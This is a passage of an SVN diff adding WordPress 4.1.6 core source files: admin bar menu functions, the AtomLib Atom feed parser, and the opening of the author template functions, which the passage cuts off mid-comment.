+	} elseif ( is_user_admin() ) {
+		$blogname = sprintf( __('Global Dashboard: %s'), esc_html( get_current_site()->site_name ) );
+	}
+
+	$title = wp_html_excerpt( $blogname, 40, '&hellip;' );
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'site-name',
+		'title' => $title,
+		'href'  => is_admin() ? home_url( '/' ) : admin_url(),
+	) );
+
+	// Create submenu items.
+
+	if ( is_admin() ) {
+		// Add an option to visit the site.
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'site-name',
+			'id'     => 'view-site',
+			'title'  => __( 'Visit Site' ),
+			'href'   => home_url( '/' ),
+		) );
+
+		if ( is_blog_admin() && is_multisite() && current_user_can( 'manage_sites' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'site-name',
+				'id'     => 'edit-site',
+				'title'  => __( 'Edit Site' ),
+				'href'   => network_admin_url( 'site-info.php?id=' . get_current_blog_id() ),
+			) );
+		}
+
+	} else {
+		// We're on the front end, link to the Dashboard.
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'site-name',
+			'id'     => 'dashboard',
+			'title'  => __( 'Dashboard' ),
+			'href'   => admin_url(),
+		) );
+
+		// Add the appearance submenu items.
+		wp_admin_bar_appearance_menu( $wp_admin_bar );
+	}
+}
+
+/**
+ * Add the "My Sites/[Site Name]" menu and all submenus.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_my_sites_menu( $wp_admin_bar ) {
+	// Don't show for logged out users or single site mode.
+	if ( ! is_user_logged_in() || ! is_multisite() )
+		return;
+
+	// Show only when the user has at least one site, or they're a super admin.
+	if ( count( $wp_admin_bar->user->blogs ) < 1 && ! is_super_admin() )
+		return;
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'my-sites',
+		'title' => __( 'My Sites' ),
+		'href'  => admin_url( 'my-sites.php' ),
+	) );
+
+	if ( is_super_admin() ) {
+		$wp_admin_bar->add_group( array(
+			'parent' => 'my-sites',
+			'id'     => 'my-sites-super-admin',
+		) );
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'my-sites-super-admin',
+			'id'     => 'network-admin',
+			'title'  => __('Network Admin'),
+			'href'   => network_admin_url(),
+		) );
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'network-admin',
+			'id'     => 'network-admin-d',
+			'title'  => __( 'Dashboard' ),
+			'href'   => network_admin_url(),
+		) );
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'network-admin',
+			'id'     => 'network-admin-s',
+			'title'  => __( 'Sites' ),
+			'href'   => network_admin_url( 'sites.php' ),
+		) );
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'network-admin',
+			'id'     => 'network-admin-u',
+			'title'  => __( 'Users' ),
+			'href'   => network_admin_url( 'users.php' ),
+		) );
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'network-admin',
+			'id'     => 'network-admin-t',
+			'title'  => __( 'Themes' ),
+			'href'   => network_admin_url( 'themes.php' ),
+		) );
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'network-admin',
+			'id'     => 'network-admin-p',
+			'title'  => __( 'Plugins' ),
+			'href'   => network_admin_url( 'plugins.php' ),
+		) );
+	}
+
+	// Add site links
+	$wp_admin_bar->add_group( array(
+		'parent' => 'my-sites',
+		'id'     => 'my-sites-list',
+		'meta'   => array(
+			'class' => is_super_admin() ? 'ab-sub-secondary' : '',
+		),
+	) );
+
+	foreach ( (array) $wp_admin_bar->user->blogs as $blog ) {
+		switch_to_blog( $blog->userblog_id );
+
+		$blavatar = '<div class="blavatar"></div>';
+
+		$blogname = $blog->blogname;
+
+		if ( ! $blogname ) {
+			$blogname = preg_replace( '#^(https?://)?(www.)?#', '', get_home_url() );
+		}
+
+		$menu_id  = 'blog-' . $blog->userblog_id;
+
+		$wp_admin_bar->add_menu( array(
+			'parent'    => 'my-sites-list',
+			'id'        => $menu_id,
+			'title'     => $blavatar . $blogname,
+			'href'      => admin_url(),
+		) );
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => $menu_id,
+			'id'     => $menu_id . '-d',
+			'title'  => __( 'Dashboard' ),
+			'href'   => admin_url(),
+		) );
+
+		if ( current_user_can( get_post_type_object( 'post' )->cap->create_posts ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => $menu_id,
+				'id'     => $menu_id . '-n',
+				'title'  => __( 'New Post' ),
+				'href'   => admin_url( 'post-new.php' ),
+			) );
+		}
+
+		if ( current_user_can( 'edit_posts' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => $menu_id,
+				'id'     => $menu_id . '-c',
+				'title'  => __( 'Manage Comments' ),
+				'href'   => admin_url( 'edit-comments.php' ),
+			) );
+		}
+
+		$wp_admin_bar->add_menu( array(
+			'parent' => $menu_id,
+			'id'     => $menu_id . '-v',
+			'title'  => __( 'Visit Site' ),
+			'href'   => home_url( '/' ),
+		) );
+
+		restore_current_blog();
+	}
+}
+
+/**
+ * Provide a shortlink.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_shortlink_menu( $wp_admin_bar ) {
+	$short = wp_get_shortlink( 0, 'query' );
+	$id = 'get-shortlink';
+
+	if ( empty( $short ) )
+		return;
+
+	$html = '<input class="shortlink-input" type="text" readonly="readonly" value="' . esc_attr( $short ) . '" />';
+
+	$wp_admin_bar->add_menu( array(
+		'id' => $id,
+		'title' => __( 'Shortlink' ),
+		'href' => $short,
+		'meta' => array( 'html' => $html ),
+	) );
+}
+
+/**
+ * Provide an edit link for posts and terms.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_edit_menu( $wp_admin_bar ) {
+	global $tag, $wp_the_query;
+
+	if ( is_admin() ) {
+		$current_screen = get_current_screen();
+		$post = get_post();
+
+		if ( 'post' == $current_screen->base
+			&& 'add' != $current_screen->action
+			&& ( $post_type_object = get_post_type_object( $post->post_type ) )
+			&& current_user_can( 'read_post', $post->ID )
+			&& ( $post_type_object->public )
+			&& ( $post_type_object->show_in_admin_bar ) )
+		{
+			if( 'draft' == $post->post_status ) {
+				$preview_link = set_url_scheme( get_permalink( $post->ID ) );
+				/** This filter is documented in wp-admin/includes/meta-boxes.php */
+				$preview_link = apply_filters( 'preview_post_link', add_query_arg( 'preview', 'true', $preview_link ), $post );
+				$wp_admin_bar->add_menu( array(
+					'id' => 'preview',
+					'title' => $post_type_object->labels->view_item,
+					'href' => esc_url( $preview_link ),
+					'meta' => array( 'target' => 'wp-preview-' . $post->ID ),
+				) );
+			} else {
+				$wp_admin_bar->add_menu( array(
+					'id' => 'view',
+					'title' => $post_type_object->labels->view_item,
+					'href' => get_permalink( $post->ID )
+				) );
+			}
+		} elseif ( 'edit-tags' == $current_screen->base
+			&& isset( $tag ) && is_object( $tag )
+			&& ( $tax = get_taxonomy( $tag->taxonomy ) )
+			&& $tax->public )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id' => 'view',
+				'title' => $tax->labels->view_item,
+				'href' => get_term_link( $tag )
+			) );
+		}
+	} else {
+		$current_object = $wp_the_query->get_queried_object();
+
+		if ( empty( $current_object ) )
+			return;
+
+		if ( ! empty( $current_object->post_type )
+			&& ( $post_type_object = get_post_type_object( $current_object->post_type ) )
+			&& current_user_can( 'edit_post', $current_object->ID )
+			&& $post_type_object->show_ui && $post_type_object->show_in_admin_bar
+			&& $edit_post_link = get_edit_post_link( $current_object->ID ) )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id' => 'edit',
+				'title' => $post_type_object->labels->edit_item,
+				'href' => $edit_post_link
+			) );
+		} elseif ( ! empty( $current_object->taxonomy )
+			&& ( $tax = get_taxonomy( $current_object->taxonomy ) )
+			&& current_user_can( $tax->cap->edit_terms )
+			&& $tax->show_ui
+			&& $edit_term_link = get_edit_term_link( $current_object->term_id, $current_object->taxonomy ) )
+		{
+			$wp_admin_bar->add_menu( array(
+				'id' => 'edit',
+				'title' => $tax->labels->edit_item,
+				'href' => $edit_term_link
+			) );
+		}
+	}
+}
+
+/**
+ * Add "Add New" menu.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_new_content_menu( $wp_admin_bar ) {
+	$actions = array();
+
+	$cpts = (array) get_post_types( array( 'show_in_admin_bar' => true ), 'objects' );
+
+	if ( isset( $cpts['post'] ) && current_user_can( $cpts['post']->cap->create_posts ) )
+		$actions[ 'post-new.php' ] = array( $cpts['post']->labels->name_admin_bar, 'new-post' );
+
+	if ( isset( $cpts['attachment'] ) && current_user_can( 'upload_files' ) )
+		$actions[ 'media-new.php' ] = array( $cpts['attachment']->labels->name_admin_bar, 'new-media' );
+
+	if ( current_user_can( 'manage_links' ) )
+		$actions[ 'link-add.php' ] = array( _x( 'Link', 'add new from admin bar' ), 'new-link' );
+
+	if ( isset( $cpts['page'] ) && current_user_can( $cpts['page']->cap->create_posts ) )
+		$actions[ 'post-new.php?post_type=page' ] = array( $cpts['page']->labels->name_admin_bar, 'new-page' );
+
+	unset( $cpts['post'], $cpts['page'], $cpts['attachment'] );
+
+	// Add any additional custom post types.
+	foreach ( $cpts as $cpt ) {
+		if ( ! current_user_can( $cpt->cap->create_posts ) )
+			continue;
+
+		$key = 'post-new.php?post_type=' . $cpt->name;
+		$actions[ $key ] = array( $cpt->labels->name_admin_bar, 'new-' . $cpt->name );
+	}
+	// Avoid clash with parent node and a 'content' post type.
+	if ( isset( $actions['post-new.php?post_type=content'] ) )
+		$actions['post-new.php?post_type=content'][1] = 'add-new-content';
+
+	if ( current_user_can( 'create_users' ) || current_user_can( 'promote_users' ) )
+		$actions[ 'user-new.php' ] = array( _x( 'User', 'add new from admin bar' ), 'new-user' );
+
+	if ( ! $actions )
+		return;
+
+	$title = '<span class="ab-icon"></span><span class="ab-label">' . _x( 'New', 'admin bar menu group label' ) . '</span>';
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'new-content',
+		'title' => $title,
+		'href'  => admin_url( current( array_keys( $actions ) ) ),
+		'meta'  => array(
+			'title' => _x( 'Add New', 'admin bar menu group label' ),
+		),
+	) );
+
+	foreach ( $actions as $link => $action ) {
+		list( $title, $id ) = $action;
+
+		$wp_admin_bar->add_menu( array(
+			'parent'    => 'new-content',
+			'id'        => $id,
+			'title'     => $title,
+			'href'      => admin_url( $link )
+		) );
+	}
+}
+
+/**
+ * Add edit comments link with awaiting moderation count bubble.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_comments_menu( $wp_admin_bar ) {
+	if ( !current_user_can('edit_posts') )
+		return;
+
+	$awaiting_mod = wp_count_comments();
+	$awaiting_mod = $awaiting_mod->moderated;
+	$awaiting_title = esc_attr( sprintf( _n( '%s comment awaiting moderation', '%s comments awaiting moderation', $awaiting_mod ), number_format_i18n( $awaiting_mod ) ) );
+
+	$icon  = '<span class="ab-icon"></span>';
+	$title = '<span id="ab-awaiting-mod" class="ab-label awaiting-mod pending-count count-' . $awaiting_mod . '">' . number_format_i18n( $awaiting_mod ) . '</span>';
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'comments',
+		'title' => $icon . $title,
+		'href'  => admin_url('edit-comments.php'),
+		'meta'  => array( 'title' => $awaiting_title ),
+	) );
+}
+
+/**
+ * Add appearance submenu items to the "Site Name" menu.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_appearance_menu( $wp_admin_bar ) {
+	$wp_admin_bar->add_group( array( 'parent' => 'site-name', 'id' => 'appearance' ) );
+
+	if ( current_user_can( 'switch_themes' ) || current_user_can( 'edit_theme_options' ) )
+		$wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'themes', 'title' => __('Themes'), 'href' => admin_url('themes.php') ) );
+
+	if ( ! current_user_can( 'edit_theme_options' ) )
+		return;
+
+	$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
+	$customize_url = add_query_arg( 'url', urlencode( $current_url ), wp_customize_url() );
+	if ( current_user_can( 'customize' ) ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'customize',
+			'title'  => __('Customize'),
+			'href'   => $customize_url,
+			'meta'   => array(
+				'class' => 'hide-if-no-customize',
+			),
+		) );
+		add_action( 'wp_before_admin_bar_render', 'wp_customize_support_script' );
+	}
+
+	if ( current_theme_supports( 'widgets' )  )
+		$wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'widgets', 'title' => __('Widgets'), 'href' => admin_url('widgets.php') ) );
+
+	if ( current_theme_supports( 'menus' ) || current_theme_supports( 'widgets' ) )
+		$wp_admin_bar->add_menu( array( 'parent' => 'appearance', 'id' => 'menus', 'title' => __('Menus'), 'href' => admin_url('nav-menus.php') ) );
+
+	if ( current_theme_supports( 'custom-background' ) ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'background',
+			'title'  => __( 'Background' ),
+			'href'   => admin_url( 'themes.php?page=custom-background' ),
+			'meta'   => array(
+				'class' => 'hide-if-customize',
+			),
+		) );
+
+		if ( current_user_can( 'customize' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'appearance',
+				'id'     => 'customize-background',
+				'title'  => __( 'Background' ),
+				'href'   => add_query_arg( urlencode( 'autofocus[control]' ), 'background_image', $customize_url ), // urlencode() needed due to #16859
+				'meta'   => array(
+					'class' => 'hide-if-no-customize',
+				),
+			) );
+		}
+	}
+
+	if ( current_theme_supports( 'custom-header' ) ) {
+		$wp_admin_bar->add_menu( array(
+			'parent' => 'appearance',
+			'id'     => 'header',
+			'title'  => __( 'Header' ),
+			'href'   => admin_url( 'themes.php?page=custom-header' ),
+			'meta'   => array(
+				'class' => 'hide-if-customize',
+			),
+		) );
+
+		if ( current_user_can( 'customize' ) ) {
+			$wp_admin_bar->add_menu( array(
+				'parent' => 'appearance',
+				'id'     => 'customize-header',
+				'title'  => __( 'Header' ),
+				'href'   => add_query_arg( urlencode( 'autofocus[control]' ), 'header_image', $customize_url ), // urlencode() needed due to #16859
+				'meta'   => array(
+					'class' => 'hide-if-no-customize',
+				),
+			) );
+		}
+	}
+
+}
+
+/**
+ * Provide an update link if theme/plugin/core updates are available.
+ *
+ * @since 3.1.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_updates_menu( $wp_admin_bar ) {
+
+	$update_data = wp_get_update_data();
+
+	if ( !$update_data['counts']['total'] )
+		return;
+
+	$title = '<span class="ab-icon"></span><span class="ab-label">' . number_format_i18n( $update_data['counts']['total'] ) . '</span>';
+	$title .= '<span class="screen-reader-text">' . $update_data['title'] . '</span>';
+
+	$wp_admin_bar->add_menu( array(
+		'id'    => 'updates',
+		'title' => $title,
+		'href'  => network_admin_url( 'update-core.php' ),
+		'meta'  => array(
+			'title' => $update_data['title'],
+		),
+	) );
+}
+
+/**
+ * Add search form.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_search_menu( $wp_admin_bar ) {
+	if ( is_admin() )
+		return;
+
+	$form  = '<form action="' . esc_url( home_url( '/' ) ) . '" method="get" id="adminbarsearch">';
+	$form .= '<input class="adminbar-input" name="s" id="adminbar-search" type="text" value="" maxlength="150" />';
+	$form .= '<input type="submit" class="adminbar-button" value="' . __('Search') . '"/>';
+	$form .= '</form>';
+
+	$wp_admin_bar->add_menu( array(
+		'parent' => 'top-secondary',
+		'id'     => 'search',
+		'title'  => $form,
+		'meta'   => array(
+			'class'    => 'admin-bar-search',
+			'tabindex' => -1,
+		)
+	) );
+}
+
+/**
+ * Add secondary menus.
+ *
+ * @since 3.3.0
+ *
+ * @param WP_Admin_Bar $wp_admin_bar
+ */
+function wp_admin_bar_add_secondary_groups( $wp_admin_bar ) {
+	$wp_admin_bar->add_group( array(
+		'id'     => 'top-secondary',
+		'meta'   => array(
+			'class' => 'ab-top-secondary',
+		),
+	) );
+
+	$wp_admin_bar->add_group( array(
+		'parent' => 'wp-logo',
+		'id'     => 'wp-logo-external',
+		'meta'   => array(
+			'class' => 'ab-sub-secondary',
+		),
+	) );
+}
+
+/**
+ * Style and scripts for the admin bar.
+ *
+ * @since 3.1.0
+ */
+function wp_admin_bar_header() { ?>
+<style type="text/css" media="print">#wpadminbar { display:none; }</style>
+<?php
+}
+
+/**
+ * Default admin bar callback.
+ *
+ * @since 3.1.0
+ */
+function _admin_bar_bump_cb() { ?>
+<style type="text/css" media="screen">
+	html { margin-top: 32px !important; }
+	* html body { margin-top: 32px !important; }
+	@media screen and ( max-width: 782px ) {
+		html { margin-top: 46px !important; }
+		* html body { margin-top: 46px !important; }
+	}
+</style>
+<?php
+}
+
+/**
+ * Set the display status of the admin bar.
+ *
+ * This can be called immediately upon plugin load. It does not need to be called from a function hooked to the init action.
+ *
+ * @since 3.1.0
+ *
+ * @param bool $show Whether to allow the admin bar to show.
+ * @return void
+ */
+function show_admin_bar( $show ) {
+	global $show_admin_bar;
+	$show_admin_bar = (bool) $show;
+}
+
+/**
+ * Determine whether the admin bar should be showing.
+ *
+ * @since 3.1.0
+ *
+ * @return bool Whether the admin bar should be showing.
+ */
+function is_admin_bar_showing() {
+	global $show_admin_bar, $pagenow;
+
+	// For all these types of requests, we never want an admin bar.
+	if ( defined('XMLRPC_REQUEST') || defined('DOING_AJAX') || defined('IFRAME_REQUEST') )
+		return false;
+
+	// Integrated into the admin.
+	if ( is_admin() )
+		return true;
+
+	if ( ! isset( $show_admin_bar ) ) {
+		if ( ! is_user_logged_in() || 'wp-login.php' == $pagenow ) {
+			$show_admin_bar = false;
+		} else {
+			$show_admin_bar = _get_admin_bar_pref();
+		}
+	}
+
+	/**
+	 * Filter whether to show the admin bar.
+	 *
+	 * Returning false to this hook is the recommended way to hide the admin bar.
+	 * The user's display preference is used for logged in users.
+	 *
+	 * @since 3.1.0
+	 *
+	 * @param bool $show_admin_bar Whether the admin bar should be shown. Default false.
+	 */
+	$show_admin_bar = apply_filters( 'show_admin_bar', $show_admin_bar );
+
+	return $show_admin_bar;
+}
+
+/**
+ * Retrieve the admin bar display preference of a user.
+ *
+ * @since 3.1.0
+ * @access private
+ *
+ * @param string $context Context of this preference check. Defaults to 'front'. The 'admin'
+ * 	preference is no longer used.
+ * @param int $user Optional. ID of the user to check, defaults to 0 for current user.
+ * @return bool Whether the admin bar should be showing for this user.
+ */
+function _get_admin_bar_pref( $context = 'front', $user = 0 ) {
+	$pref = get_user_option( "show_admin_bar_{$context}", $user );
+	if ( false === $pref )
+		return true;
+
+	return 'true' === $pref;
+}
Index: /tags/4.1.6/src/wp-includes/atomlib.php
===================================================================
--- /tags/4.1.6/src/wp-includes/atomlib.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/atomlib.php	(revision 33402)
@@ -0,0 +1,352 @@
+<?php
+/**
+ * Atom Syndication Format PHP Library
+ *
+ * @package AtomLib
+ * @link http://code.google.com/p/phpatomlib/
+ *
+ * @author Elias Torres <elias@torrez.us>
+ * @version 0.4
+ * @since 2.3.0
+ */
+
+/**
+ * Structure that store common Atom Feed Properties
+ *
+ * @package AtomLib
+ */
+class AtomFeed {
+	/**
+	 * Stores Links
+	 * @var array
+	 * @access public
+	 */
+    var $links = array();
+    /**
+     * Stores Categories
+     * @var array
+     * @access public
+     */
+    var $categories = array();
+	/**
+	 * Stores Entries
+	 *
+	 * @var array
+	 * @access public
+	 */
+    var $entries = array();
+}
+
+/**
+ * Structure that store Atom Entry Properties
+ *
+ * @package AtomLib
+ */
+class AtomEntry {
+	/**
+	 * Stores Links
+	 * @var array
+	 * @access public
+	 */
+    var $links = array();
+    /**
+     * Stores Categories
+     * @var array
+	 * @access public
+     */
+    var $categories = array();
+}
+
+/**
+ * AtomLib Atom Parser API
+ *
+ * @package AtomLib
+ */
+class AtomParser {
+
+    var $NS = 'http://www.w3.org/2005/Atom';
+    var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights');
+    var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft');
+
+    var $debug = false;
+
+    var $depth = 0;
+    var $indent = 2;
+    var $in_content;
+    var $ns_contexts = array();
+    var $ns_decls = array();
+    var $content_ns_decls = array();
+    var $content_ns_contexts = array();
+    var $is_xhtml = false;
+    var $is_html = false;
+    var $is_text = true;
+    var $skipped_div = false;
+
+    var $FILE = "php://input";
+
+    var $feed;
+    var $current;
+
+    function AtomParser() {
+
+        $this->feed = new AtomFeed();
+        $this->current = null;
+        $this->map_attrs_func = create_function('$k,$v', 'return "$k=\"$v\"";');
+        $this->map_xmlns_func = create_function('$p,$n', '$xd = "xmlns"; if(strlen($n[0])>0) $xd .= ":{$n[0]}"; return "{$xd}=\"{$n[1]}\"";');
+    }
+
+    function _p($msg) {
+        if($this->debug) {
+            print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n";
+        }
+    }
+
+    function error_handler($log_level, $log_text, $error_file, $error_line) {
+        $this->error = $log_text;
+    }
+
+    function parse() {
+
+        set_error_handler(array(&$this, 'error_handler'));
+
+        array_unshift($this->ns_contexts, array());
+
+        $parser = xml_parser_create_ns();
+        xml_set_object($parser, $this);
+        xml_set_element_handler($parser, "start_element", "end_element");
+        xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0);
+        xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0);
+        xml_set_character_data_handler($parser, "cdata");
+        xml_set_default_handler($parser, "_default");
+        xml_set_start_namespace_decl_handler($parser, "start_ns");
+        xml_set_end_namespace_decl_handler($parser, "end_ns");
+
+        $this->content = '';
+
+        $ret = true;
+
+        $fp = fopen($this->FILE, "r");
+        while ($data = fread($fp, 4096)) {
+            if($this->debug) $this->content .= $data;
+
+            if(!xml_parse($parser, $data, feof($fp))) {
+                trigger_error(sprintf(__('XML error: %s at line %d')."\n",
+                    xml_error_string(xml_get_error_code($parser)),
+                    xml_get_current_line_number($parser)));
+                $ret = false;
+                break;
+            }
+        }
+        fclose($fp);
+
+        xml_parser_free($parser);
+
+        restore_error_handler();
+
+        return $ret;
+    }
+
+    function start_element($parser, $name, $attrs) {
+
+        $tag = array_pop(split(":", $name));
+
+        switch($name) {
+            case $this->NS . ':feed':
+                $this->current = $this->feed;
+                break;
+            case $this->NS . ':entry':
+                $this->current = new AtomEntry();
+                break;
+        };
+
+        $this->_p("start_element('$name')");
+        #$this->_p(print_r($this->ns_contexts,true));
+        #$this->_p('current(' . $this->current . ')');
+
+        array_unshift($this->ns_contexts, $this->ns_decls);
+
+        $this->depth++;
+
+        if(!empty($this->in_content)) {
+
+            $this->content_ns_decls = array();
+
+            if($this->is_html || $this->is_text)
+                trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup.");
+
+            $attrs_prefix = array();
+
+            // resolve prefixes for attributes
+            foreach($attrs as $key => $value) {
+                $with_prefix = $this->ns_to_prefix($key, true);
+                $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value);
+            }
+
+            $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix)));
+            if(strlen($attrs_str) > 0) {
+                $attrs_str = " " . $attrs_str;
+            }
+
+            $with_prefix = $this->ns_to_prefix($name);
+
+            if(!$this->is_declared_content_ns($with_prefix[0])) {
+                array_push($this->content_ns_decls, $with_prefix[0]);
+            }
+
+            $xmlns_str = '';
+            if(count($this->content_ns_decls) > 0) {
+                array_unshift($this->content_ns_contexts, $this->content_ns_decls);
+                $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0])));
+                if(strlen($xmlns_str) > 0) {
+                    $xmlns_str = " " . $xmlns_str;
+                }
+            }
+
+            array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">"));
+
+        } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) {
+            $this->in_content = array();
+            $this->is_xhtml = $attrs['type'] == 'xhtml';
+            $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html';
+            $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text';
+            $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type']));
+
+            if(in_array('src',array_keys($attrs))) {
+                $this->current->$tag = $attrs;
+            } else {
+                array_push($this->in_content, array($tag,$this->depth, $type));
+            }
+        } else if($tag == 'link') {
+            array_push($this->current->links, $attrs);
+        } else if($tag == 'category') {
+            array_push($this->current->categories, $attrs);
+        }
+
+        $this->ns_decls = array();
+    }
+
+    function end_element($parser, $name) {
+
+        $tag = array_pop(split(":", $name));
+
+        $ccount = count($this->in_content);
+
+        # if we are *in* content, then let's proceed to serialize it
+        if(!empty($this->in_content)) {
+            # if we are ending the original content element
+            # then let's finalize the content
+            if($this->in_content[0][0] == $tag &&
+                $this->in_content[0][1] == $this->depth) {
+                $origtype = $this->in_content[0][2];
+                array_shift($this->in_content);
+                $newcontent = array();
+                foreach($this->in_content as $c) {
+                    if(count($c) == 3) {
+                        array_push($newcontent, $c[2]);
+                    } else {
+                        if($this->is_xhtml || $this->is_text) {
+                            array_push($newcontent, $this->xml_escape($c));
+                        } else {
+                            array_push($newcontent, $c);
+                        }
+                    }
+                }
+                if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) {
+                    $this->current->$tag = array($origtype, join('',$newcontent));
+                } else {
+                    $this->current->$tag = join('',$newcontent);
+                }
+                $this->in_content = array();
+            } else if($this->in_content[$ccount-1][0] == $tag &&
+                $this->in_content[$ccount-1][1] == $this->depth) {
+                $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>";
+            } else {
+                # else, just finalize the current element's content
+                $endtag = $this->ns_to_prefix($name);
+                array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>"));
+            }
+        }
+
+        array_shift($this->ns_contexts);
+
+        $this->depth--;
+
+        if($name == ($this->NS . ':entry')) {
+            array_push($this->feed->entries, $this->current);
+            $this->current = null;
+        }
+
+        $this->_p("end_element('$name')");
+    }
+
+    function start_ns($parser, $prefix, $uri) {
+        $this->_p("starting: " . $prefix . ":" . $uri);
+        array_push($this->ns_decls, array($prefix,$uri));
+    }
+
+    function end_ns($parser, $prefix) {
+        $this->_p("ending: #" . $prefix . "#");
+    }
+
+    function cdata($parser, $data) {
+        $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#");
+        if(!empty($this->in_content)) {
+            array_push($this->in_content, $data);
+        }
+    }
+
+    function _default($parser, $data) {
+        # when does this gets called?
+    }
+
+
+    function ns_to_prefix($qname, $attr=false) {
+        # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div')
+        $components = split(":", $qname);
+
+        # grab the last one (e.g 'div')
+        $name = array_pop($components);
+
+        if(!empty($components)) {
+            # re-join back the namespace component
+            $ns = join(":",$components);
+            foreach($this->ns_contexts as $context) {
+                foreach($context as $mapping) {
+                    if($mapping[1] == $ns && strlen($mapping[0]) > 0) {
+                        return array($mapping, "$mapping[0]:$name");
+                    }
+                }
+            }
+        }
+
+        if($attr) {
+            return array(null, $name);
+        } else {
+            foreach($this->ns_contexts as $context) {
+                foreach($context as $mapping) {
+                    if(strlen($mapping[0]) == 0) {
+                        return array($mapping, $name);
+                    }
+                }
+            }
+        }
+    }
+
+    function is_declared_content_ns($new_mapping) {
+        foreach($this->content_ns_contexts as $context) {
+            foreach($context as $mapping) {
+                if($new_mapping == $mapping) {
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    function xml_escape($string)
+    {
+             return str_replace(array('&','"',"'",'<','>'),
+                array('&amp;','&quot;','&apos;','&lt;','&gt;'),
+                $string );
+    }
+}
Index: /tags/4.1.6/src/wp-includes/author-template.php
===================================================================
--- /tags/4.1.6/src/wp-includes/author-template.php	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/author-template.php	(revision 33402)
@@ -0,0 +1,454 @@
+<?php
+/**
+ * Author Template functions for use in themes.
+ *
+ * These functions must be used within the WordPress Loop.
+ *
+ * @link http://codex.wordpress.org/Author_Templates
+ *
+ * @package WordPress
+ * @subpackage Template
+ */
+
+/**
+ * Retrieve the author of the current post.
+ *
+ * @since 1.5.0
+ *
+ * @uses $authordata The current author's DB object.
+ *
+ * @param string $deprecated Deprecated.
+ * @return string The author's display name.
+ */
+function get_the_author($deprecated = '') {
+	global $authordata;
+
+	if ( !empty( $deprecated ) )
+		_deprecated_argument( __FUNCTION__, '2.1' );
+
+	/**
+	 * Filter the display name of the current post's author.
+	 *
+	 * @since 2.9.0
+	 *
+	 * @param string $authordata->display_name The author's display name.
+	 */
+	return apply_filters('the_author', is_object($authordata) ? $authordata->display_name : null);
+}
+
+/**
+ * Display the name of the author of the current post.
+ *
+ * The behavior of this function is based off of old functionality predating
+ * get_the_author(). This function is not deprecated, but is designed to echo
+ * the value from get_the_author() and as an result of any old theme that might
+ * still use the old behavior will also pass the value from get_the_author().
+ *
+ * The normal, expected behavior of this function is to echo the author and not
+ * return it. However, backwards compatibility has to be maintained.
+ *
+ * @since 0.71
+ * @see get_the_author()
+ * @link http://codex.wordpress.org/Template_Tags/the_author
+ *
+ * @param string $deprecated Deprecated.
+ * @param string $deprecated_echo Deprecated. Use get_the_author(). Echo the string or return it.
+ * @return string The author's display name, from get_the_author().
